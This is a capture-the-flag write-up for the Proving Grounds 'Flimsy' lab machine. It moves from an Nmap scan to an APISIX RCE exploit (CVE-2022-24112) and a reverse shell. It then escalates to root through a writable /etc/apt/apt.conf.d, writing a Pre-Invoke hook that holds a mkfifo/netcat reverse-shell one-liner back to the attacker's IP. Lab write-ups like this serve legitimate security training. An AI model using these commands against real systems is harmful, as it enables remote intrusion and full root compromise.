Proving grounds Practice - Flimsy CTF writeup.
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62361a5cd3e37be170f8a3b31c4c2438 (RSA)
| 256 ee25fc236605c0c1ec47c6bb00c74f53 (ECDSA)
|_ 256 835c51ac32e53a217cf6c2cd936858d8 (ED25519)
80/tcp open http OpenResty web app server 1.21.4.1
|_http-title: Welcome to OpenResty!
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: openresty/1.21.4.1
3306/tcp open mysql MySQL (unauthorized)
9443/tcp open ssl/tungsten-https?
43500/tcp open http OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: APISIX/2.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
43500/tcp open http - OpenResty web app server
HTTP/1.1 404 Not Found
Date: Fri, 06 Oct 2023 02:42:05 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Server: APISIX/2.8
http-server-header: APISIX/2.8 the http header disclosed the service name and version which is vulnerable to Apache APISIX 2.12.1 - Remote Code Execution (RCE).
Exploitation
naveenj@hackerspace:|22:26|~/proving_grounds/Flimsy/exploit$ python exploit.py http://192.168.211.220:43500/ 192.168.45.250 4444
. ,
_.._ * __*\./ ___ _ \./._ | _ *-+-
(_][_)|_) |/'\ (/,/'\[_)|(_)| |
| |
(CVE-2022-24112)
{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }
Netcat Listening…
naveenj@hackerspace:|22:25|~/proving_grounds/Flimsy/exploit$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.250] from (UNKNOWN) [192.168.211.220] 54406
python -c 'import pty; pty.spawn("/bin/bash")'
franklin@flimsy:/root$
Initial Foothold Obtained
Privilege Escalation
Download linpeas.sh to the vulnerable machine and run it. The script shows the current user has writable permission to the folder /etc/apt/apt.conf.d which allows us to escalate privileges.
franklin@flimsy:/etc/apt/apt.conf.d$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.250 4444 >/tmp/f"};' > shell
< -i 2>&1|nc 192.168.45.250 4444 >/tmp/f"};' > shell
franklin@flimsy:/etc/apt/apt.conf.d$
Wait for few seconds when the cron runs the file as root we will get reverse shell as root.
naveenj@hackerspace:|22:31|~/proving_grounds/Flimsy$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.45.250] from (UNKNOWN) [192.168.211.220] 54730
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Root Obtained
Reference
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